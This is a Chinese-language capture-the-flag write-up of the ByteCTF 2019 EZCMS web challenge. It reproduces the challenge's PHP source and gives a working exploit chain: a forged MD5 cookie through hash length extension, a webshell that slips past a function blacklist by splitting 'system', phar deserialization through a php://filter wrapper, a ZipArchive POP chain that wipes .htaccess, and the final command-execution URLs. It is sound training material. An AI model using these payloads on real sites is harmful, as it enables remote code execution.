CTF Web安全

[ByteCTF 2019]EZCMS(hash长度扩展攻击+phar反序列化)

Posted on 2020-01-11,12 min read

主页是个登陆界面,想到sql注入。输入单引号就登陆成功了,进一步判断。不是sql注入

进去是一个上传界面。提示我们不是管理员。

扫下目录发现www.zip
下载源码审计
view.php

<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;

config.php

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){
		

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

index.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>EzCMS</title>
</head>

<body>
<h2>Login platform</h2>
<div>
    <p>假装这是一个超级漂亮的前端</p>
    <p>先来登录吧~</p>
</div>
<form action="index.php" method="post" enctype="multipart/form-data">
    <label for="file">用户名:</label>
    <input type="text" name="username" id="username"><br>
    <label for="file">密码:</label>
    <input type="password" name="password" id="password"><br>
    <input type="submit" name="login" value="提交">
</form>
</body>
</html>

<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $username = urldecode($username);
    $password = urldecode($password);
    if ($password === "admin"){
        die("u r not admin !!!");
    }
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;

    if (login()){
        echo '<script>location.href="upload.php";</script>';
    }
}

首先从index.php我们的登陆界面看起
接收我们输入的username和password。用户名随意。密码不能为admin。赋值给session
接下来调用了login()函数

function login(){
    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;
}

login函数将密钥和adminadmin拼接。然后MD5加密。赋值给cookies['hash']
也就是说。我们登陆成功后。会有一个cookie hash:md5(密钥+'adminadmin')
继续往下看。登陆成功后。会到upload页面。上传文件显示不是admin。那么我们就着重看下这部分代码

if (isset($_FILES['file']))
{
    ........................
    #上传时的操作,赋值等等
    $admin = new Admin($file_name, $file_tmp, $file_size);
    首先调用了admin类
    $admin->upload_file();
}else{
    ...........................
    #没上传时的操作
}

程序调用了admin类中的upload_file

看到了关键代码。调用了$this->checker,如果不为True,就输出不是admin
继续追踪代码profile类中的is_admin函数

可以看到。将我们之前登陆的用户名密码赋值给username和password
然后定义了一个密钥。
判断我们之前输出的用户名是不是admin。密码不能是admin
然后将密钥和用户名密码拼接。MD5加密。将加密结果和cookies['user']进行比较
这里我们有三个可控点。用户名+密码+cookies['user']
这里就想到了hash长度扩展攻击

这里登陆的时候。用户名就是admin。对应了inputdata
密码就输入url编码的那串。然后将md5赋值给user
上传还是提示不是admin。。。。
这里有个坑。就是在源码中。密钥是8个*。我就单纯的以为。密钥长度为8
在ctf题中。如果没给出密钥长度。那就不要信
这里依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了

这里的附加数据随便填,他只要MD5相同。没说要==admin这类的

登陆后。上传文件。没报错了。再重新访问下upload界面。就有文件路径


下面继续审计代码
在之前的文件上传时。admin类有一个构造函数。会在调用函数前执行。这里file_put_contens了一个.htaccess然后内容是乱写的。这也意味着。我们上传的文件都会收到.htaccess的影响不能正常执行

再往下看。调用了Check类。传入了文件上传时的缓存名
获取了文件内容。通过foreach循环。将其遍历。如果存在system,eval,exec这类的就退出了。也就意味着。文件上传不成功
流程如下:
upload.php->admin类->构造函数->upload_file函数
我们上传的文件内不能有连接在一起危险函数。那我们拼接绕过

<?php
$a='syste'.'m';
$a($_GET[0]);
?>


文件上传成功获得路径。访问500错误。正常。因为有.htaccess的存在
upload.php也分析完了
1。生成.htaccess
2。判断是否是admin
3。判断文件内是否有危险函数
下面继续看view.php
通过之前访问。我们大概可以知道view.php就是判断文件类型输出程序路径的

调用了File类中的view_detail函数

首先构造函数赋值filepath和filename
然后匹配filepath。有没有危险协议
接着mime_content_type获得filepath的类型
接着调用open函数。返回路径输出到前端
最后调用了析构函数。调用了checker->upload_file
由于程序没给checker赋值。
程序会先判断checker是否赋值。赋值了就调用upload_file()函数。否则就不调用
看完上面的代码。我们可以发现。filepath过滤危险函数。那么肯定有点东西
这里就要想到phar反序列化
mime_content_type是存在phar反序列化的,以下函数都存在反序列化

exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type

当我们传入filepath是phar的路径。通过mime_content_type触发反序列化。就可以改写类中的变量。
但是这边过滤了phar协议。有下面几种绕过方式

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

我们用最后一种方式绕过
phar知道绕过了。我们构造下POP链
由于.htaccess碍事。我们得想办法删掉他
之前说。File类。存在析构函数。会调用checker。由于phar反序列化存在。checker的值可控。我们就可以调用其他的类
在看下config.php

可以发现。这边存在call魔术方法。这个方法是程序调用不存在的函数会触发
在File类中。checker存在就会调用upload_file函数。
如果将checker赋值为Profile类。然后调用upload_file函数。由于函数不存在。那么就会触发call魔术方法
$this->admin->open($this->username, $this->password);
执行this>admin>open(this->admin->open(username,$password);
这时候我们就要查找下哪个PHP自带的类存在open方法。


查看下。哪个方法能够删除.htaccess
ZipArchive有open方法。存在两个参数
一个是文件名。一个是打开的类型。类似于读写覆盖什么的


ZipArchive::OVERWRITE这个选项。可以将已存在的文件覆盖
如果我们将.htaccess覆盖为NULL。就达到了删除.htaccess的目的
至此。POP链构造好了

view.php
File类view_detail函数
phar反序列化
checker定义为Profile类
析构函数触发
$this->Profile->upload_file()
不存在。触发call魔法函数
调用admin->open($username,$password)
ZipArchive->open('.htaccess',ZipArchive::OVERWRITE)

下面开始构造phar

class File{
	public $filename;
	public $filepath;
	public $checker;
	
}
class Profile{
	public $username;
	public $password;
	public $admin;
}
#准备好用到的两个类
$o = new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
#给checker赋值
$o->checker->username="sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
$o->checker->password=ZipArchive::OVERWRITE;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

代码很简单。准备两个类。然后将需要用到的变量赋值。生成phar就好了
上传phar.phar,然后通过view.php触发

http://57ecc255-739f-43b4-a20d-a38ff7f1f9c3.node3.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/read=convert.base64-encode/resource=phar://sandbox/2c67ca1eaeadbdc1868d67003072b481/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
http://57ecc255-739f-43b4-a20d-a38ff7f1f9c3.node3.buuoj.cn/sandbox/2c67ca1eaeadbdc1868d67003072b481/42995f342e8abd019311aaed89d550ae.php?0=cat%20/flag

注意。当我们通过view.php执行完phar反序列化后。不要访问upload.php,不然会重新生成.htaccess

下一篇: Mysql无列名注入/PDO/变量注入→